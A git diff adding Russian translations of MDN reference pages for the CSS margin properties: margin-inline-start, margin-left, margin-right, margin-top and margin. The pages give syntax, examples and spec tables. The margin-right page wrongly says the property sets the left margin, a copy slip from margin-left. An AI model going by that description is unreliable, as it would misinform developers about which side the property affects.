+tags:
+  - CSS
+  - CSS Logical Property
+  - CSS Property
+  - Experimental
+  - Reference
+  - Экспериментальный
+  - справочник
+translation_of: Web/CSS/margin-inline-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>Свойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> задает логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+margin-inline-start: 10px;  /* абсолютная величина */
+margin-inline-start: 1em;   /* относительно размера текста */
+margin-inline-start: 5%;    /* относительно ширины ближайшего контейнера */
+
+/* Keyword values */
+margin-inline-start: auto;
+
+/* Global values */
+margin-inline-start: inherit;
+</pre>
+
+<p>Это свойство связано со свойствами {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}} и {{cssxref("margin-inline-end")}}, которые определяют другие компоненты margins элемента.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство <code>margin-inline-start</code> принимает такие же значения как и свойство {{cssxref("margin-left")}}.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 140, 140)}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-start", "margin-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.properties.margin-inline-start")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{cssxref("margin-inline-end")}}</li>
+ <li><span class="short_text" id="result_box" lang="ru"><span>Отображаемые физические свойства</span></span>: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html
new file mode 100644
index 0000000000..cf6558067a
--- /dev/null
+++ b/files/ru/web/css/margin-left/index.html
@@ -0,0 +1,167 @@
+---
+title: margin-left
+slug: Web/CSS/margin-left
+translation_of: Web/CSS/margin-left
+---
+<div>{{CSSRef()}}</div>
+
+<p>Свойство <a href="/en/CSS" title="CSS">CSS</a>  <strong><code>margin-left</code></strong> устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/box_model">внешний отступ</a> слева от элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-left.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>Вертикальные внешние отступы двух соседних блоков могут схлопнуться. Это называется <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">схлопыванием внешних отступов</a>.</p>
+
+<p>В редких случаях, когда ширина (т.е., когда все значения <code>width</code>, <code>margin-left</code>, <code>border</code>, <code>padding</code>, область содержимого, и <code>margin-right</code> определены), <code>margin-left</code> игнорируется, и будет иметь такое же расчётное значение, как и <code>auto</code> .</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;длина&gt; значения */
+margin-left: 10px;  /* абсолютная длина */
+margin-left: 1em;   /* относительно размера текста */
+margin-left: 5%;    /* относительно ширины родительского блока */
+
+/* Значения-ключевые слова */
+margin-left: auto;
+
+/* Глобальные значения */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+</pre>
+
+<p>Свойство <code>margin-left</code> может быть выражено как ключевое слово <code>auto</code>, как <code>&lt;число&gt;</code>, или как <code>&lt;процент&gt;</code>. Значение может быть положительным, нулевым или отрицательным.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Размер отступа - фиксированная величина.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Значение {{cssxref("display")}}</th>
+    <th scope="col">Значение {{cssxref("float")}}</th>
+    <th scope="col">Значение {{cssxref("position")}}</th>
+    <th scope="col" style="vertical-align: middle;">
+     <p>Расчётное значение <code>auto</code></p>
+    </th>
+    <th scope="col">Комментарий</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>любое</em></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Строчный способ разметки</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>любое</em></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code>, кроме случаев, когда <code>margin-left</code> и <code>margin-right</code> установлены как <code>auto</code>. В этом случае устанавливается значение, центрирующее элемент внутри его родителя</td>
+    <td>Блочный способ разметки</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> или <code>right</code></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Блочный способ разметки (плавающие элементы)</td>
+   </tr>
+   <tr>
+    <th><em>любое </em><code>table-*</code><em>, кроме </em><code>table-caption</code></th>
+    <th><em>любое</em></th>
+    <th><em>любое</em></th>
+    <td><code>0</code></td>
+    <td>Внутренние <code>table-*</code> элементы не имеют отступов, вместо этого используйте {{ cssxref("border-spacing") }}</td>
+   </tr>
+   <tr>
+    <th><em>любое, кроме <code>flex</code>,</em> <code>inline-flex</code><em>, или </em><code>table-*</code></th>
+    <th><em>любое</em></th>
+    <th><em><code>fixed</code></em> или <code>absolute</code></th>
+    <td><code>0</code>, кроме случаев, когда <code>margin-left</code> и <code>margin-right</code> установлены как <code>auto</code>. В этом случае, устанавливается значение центрирующее границы области внутри доступной  <code>width</code> (ширины), если  значение фиксировано.</td>
+    <td>Способ разметки абсолютным позиционированием</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>любое</em></th>
+    <th><em>любое</em></th>
+    <td><code>0</code>, кроме случаев, когда есть положительное горизонтальное свободное пространство. В этом случае, распределяется равномерно по всем горизонтальным <code>auto</code> отступам.</td>
+    <td>Способ разметки с помощью flexbox</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax()}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: css">.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo    { margin-left: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3Box')}}</td>
+   <td>
+    <p><br>
+     Нет значительных изменений относительно CSS 2.1.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>margin-left</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>
+    <p><br>
+     Определяет влияние <code>margin-left</code> на flex-элементы.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Идентично CSS1, но удалено влияние на строчные элементы.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-left', 'margin-left')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.margin-left")}}</p>
diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html
new file mode 100644
index 0000000000..b9b1531e3d
--- /dev/null
+++ b/files/ru/web/css/margin-right/index.html
@@ -0,0 +1,160 @@
+---
+title: margin-right
+slug: Web/CSS/margin-right
+translation_of: Web/CSS/margin-right
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/en/CSS" title="CSS">CSS</a> <strong><code>margin-right</code></strong> устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/box_model">внешний отступ</a> слева от элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-right.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>Вертикальные внешние отступы двух соседних блоков могут схлопнуться. Это называется <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">схлопыванием внешних отступов</a>.</p>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;lenght&gt; значение */
+margin-right: 20px;  /* абсолютная длина */
+margin-right: 1em;   /* относительно размера текста */
+margin-right: 5%;    /* относительно ширины родительского блока */
+
+/* Значения-ключевые слова */
+margin-right: auto;
+
+/* Глобальные значения */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+</pre>
+
+<p>Свойство <code>margin-right</code> может быть выражено как ключевое слово <code>auto</code>, как <code>&lt;число&gt;</code>, или как <code>&lt;процент&gt;</code>. Значение может быть положительным, нулевым или отрицательным.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Размер отступа - фиксированная величина.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Значение {{cssxref("display")}}</th>
+    <th scope="col">Значение {{cssxref("float")}}</th>
+    <th scope="col">Значение {{cssxref("position")}}</th>
+    <th scope="col">Расчётное значение<br>
+     <code>auto</code></th>
+    <th scope="col">Комментарий</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>любое</em></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Строчный способ разметки</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>любое</em></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code>, кроме случаев, когда <code>margin-left</code> и <code>margin-right</code> установлены как <code>auto</code>. В этом случае устанавливается значение, центрирующее элемент внутри его родителя</td>
+    <td>Блочный способ разметки</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> или <code>right</code></th>
+    <th><code>static</code> или <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Блочный способ разметки (плавающие элементы)</td>
+   </tr>
+   <tr>
+    <th><em>любое </em><code>table-*</code><em>, кроме </em><code>table-caption</code></th>
+    <th><em>любое</em></th>
+    <th><em>любое</em></th>
+    <td><code>0</code></td>
+    <td>Внутренние <code>table-*</code> элементы не имеют отступов, вместо этого используйте {{ cssxref("border-spacing") }}</td>
+   </tr>
+   <tr>
+    <th><em>любое, кроме <code>flex</code>,</em> <code>inline-flex</code><em>, или </em><code>table-*</code></th>
+    <th><em>любое</em></th>
+    <th><em><code>fixed</code></em> или <code>absolute</code></th>
+    <td><code>0</code>, кроме случаев, когда <code>margin-left</code> и <code>margin-right</code> установлены как <code>auto</code>. В этом случае, устанавливается значение центрирующее границы области внутри доступной  <code>width</code> (ширины), если  значение фиксировано.</td>
+    <td>Способ разметки абсолютным позиционированием</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>любое</em></th>
+    <th><em>любое</em></th>
+    <td><code>0</code>, кроме случаев, когда есть положительное горизонтальное свободное пространство. В этом случае, распределяется равномерно по всем горизонтальным <code>auto</code> отступам.</td>
+    <td>Способ разметки с помощью flexbox</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: css">.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo    { margin-right: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Нет значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>margin-right</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Определяет влияние <code>margin-right</code> на flex-элементы.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Удалено влияние на строчные элементы.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin-right', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.margin-right")}}</p>
diff --git a/files/ru/web/css/margin-top/index.html b/files/ru/web/css/margin-top/index.html
new file mode 100644
index 0000000000..9855b83558
--- /dev/null
+++ b/files/ru/web/css/margin-top/index.html
@@ -0,0 +1,102 @@
+---
+title: margin-top
+slug: Web/CSS/margin-top
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - справочник
+translation_of: Web/CSS/margin-top
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>margin-top</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> в верхней части элемента. Положительное значение поместит элемент дальше от соседних элементов, чем обычно, а отрицательное значение поместит его ближе.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-top.html")}}</div>
+
+<p class="hidden">Исходники для этого интерактивного примера хранятся в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам соответствующий запрос.</p>
+
+<p>Это свойство не имеет эффекта на <em>незамещаемых</em> (<em>non-<a href="/ru/docs/Web/CSS/Замещаемый_элемент">replaced</a></em>) строковых (inline) элементах, таких как {{HTMLElement("span")}} или {{HTMLElement("code")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* значения &lt;length&gt; */
+margin-top: 10px;  /* абсолютное значение */
+margin-top: 1em;   /* относительно размера текста */
+margin-top: 5%;    /* относительно ширины ближайшего контейнера */
+
+/* ключевые слова */
+margin-top: auto;
+
+/* глобальные значения */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;
+</pre>
+
+<p>Свойство <code>margin-top</code> может принимать значение <code>auto,</code> <code>&lt;length&gt;</code> или <code>&lt;percentage&gt;</code>. Эти значения могут быть положительные, отрицательные или равны нулю.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Значение margin является фиксированной величиной</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Значение margin выражается в процентах по отношению к <em>ширине </em>блока, содержащего элемент.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Браузер выбирает подходящее значение для использования. Смотри {{cssxref("margin")}}.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры" name="Примеры">Примеры</h2>
+
+<pre class="brush:css;">.content { margin-top:   5%; }
+.sidebox { margin-top: 10px; }
+.logo    { margin-top: -5px; }
+#footer  { margin-top:  1em; }
+</pre>
+
+<h2 id="Спецификации" name="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Никаких существенных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>margin-top</code> как анимационный.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Устраняет его влияние на строковые (inline) элементы.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-top', 'margin-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость с браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.properties.margin-top")}}</p>
diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html
new file mode 100644
index 0000000000..d149b8cc5f
--- /dev/null
+++ b/files/ru/web/css/margin/index.html
@@ -0,0 +1,246 @@
+---
+title: margin
+slug: Web/CSS/margin
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - справочник
+translation_of: Web/CSS/margin
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Применяется ко всем четырём сторонам */
+margin: 1em;
+
+/* по вертикали | по горизонтали */
+margin: 5% auto;
+
+/* сверху | горизонтально | снизу */
+margin: 1em auto 2em;
+
+/* сверху | справа | снизу | слева */
+margin: 2px 1em 0 auto;
+
+/* Глобальные значения */
+margin: inherit;
+margin: initial;
+margin: unset;
+</pre>
+
+<div class="hidden" id="margin">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="cell"&gt;
+      &lt;div class="m m0"&gt;margin: 0&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &lt;div class="m m1"&gt;margin: 1em&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &lt;div class="m m2"&gt;margin: 5% auto&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &lt;div class="m m3"&gt;margin: 1em auto 2em&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &lt;div class="m m4"&gt;margin: 5px 1em 0 auto&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="note"&gt;Все вышеприведенные блоки имеют одинаковую ширину 50%&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  box-sizing: border-box;
+  margin: .5em;
+  padding: 0;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: center;
+  flex: none;
+}
+
+.m {
+  display: block;
+  width: 50%;
+  text-align: left;
+  background: #E4F0F5;
+  padding: .5em;
+  border: 1px solid;
+}
+
+.m0 { margin: 0; }
+.m1 { margin: 1em; }
+.m2 { margin: 5% auto; }
+.m3 { margin: 1em auto 2em; }
+.m4 { margin: 5px 1em 0 auto; }</pre>
+</div>
+
+<p>{{EmbedLiveSample("margin", "100%", 400, "", "", "example-outcome-frame")}}</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>margin</code> может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <code><a href="#&lt;length>">&lt;length&gt;</a></code>, <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code> или является ключевым словом <code><a href="#auto">auto</a></code>. Каждое значение может быть положительным, отрицательным или равным нулю.</p>
+
+<ul>
+ <li>Когда определено <strong>одно</strong> значение, такое значение определено для <strong>всех четырех сторон</strong>.</li>
+ <li>Когда определены <strong>два</strong> значения, то первое значение определяет внешний отступ для <strong>верхней и нижней</strong> стороны, а второе значение определяет отступ для <strong>левой и правой стороны</strong>.</li>
+ <li>Когда определены <strong>три</strong> значение, то первое значение определяет внешний отступ для <strong>верхней</strong> стороны, второе значение определяет внешний отступ для <strong>левой и правой стороны</strong>, а третье значение определяет отступ для <strong>нижней</strong> стороны.</li>
+ <li>Когда определены <strong>четыре</strong> значения, они определяют внешние отступы для <strong>верхней</strong> стороны, <strong>справа</strong>, <strong>снизу</strong> и <strong>слева</strong> в рассмотренном порядке (по часовой стрелке).</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><strong>{{cssxref("length")}}</strong></dt>
+ <dd>Размер отступа как фиксированное значение.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>Размер отступа в процентах относительно ширины родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Браузер выбирает подходящее значение для использования. Например, в некоторых случаях это значение может быть использовано для центрирования элемента.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="center"&gt;Этот элемент отцентрирован.&lt;/div&gt;
+
+&lt;div class="outside"&gt;Этот элемент расположен за пределами своего контейнера.&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[2,8]">.center {
+  margin: auto;
+  background: lime;
+  width: 66%;
+}
+
+.outside {
+  margin: 3rem 0 0 -3rem;
+  background: cyan;
+  width: 66%;
+}</pre>
+
+<p>{{ EmbedLiveSample('Simple_example','100%',120) }}</p>
+
+<h3 id="Больше_примеров">Больше примеров</h3>
+
+<pre class="brush: css">margin: 5%;                 /* все стороны:  отступ 5% */
+
+margin: 10px;               /* все стороны:  отступ 10px */
+
+margin: 1.6em 20px;         /* верх и низ:   отступ 1.6em */
+                            /* право и лево: отступ 20px */
+
+margin: 10px 3% 1em;        /* верх:         отступ 10px */
+                            /* право и лево: отступ 3% */
+                            /* низ:          отступ 1em */
+
+margin: 10px 3px 30px 5px;  /* верх:   отступ 10px */
+                            /* право:  отступ 3px */
+                            /* низ:    отступ 30px */
+                            /* лево:   отступ 5px */
+
+margin: 2em auto;           /* верх и низ: отступ 2em */
+                            /* блок отцентрирован горизонтально */
+
+margin: auto;               /* верх и низ: отступ 0 */
+                            /* блок отцентрирован горизонтально */
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<h3 id="Горизонтальное_выравнивание">Горизонтальное выравнивание</h3>
+
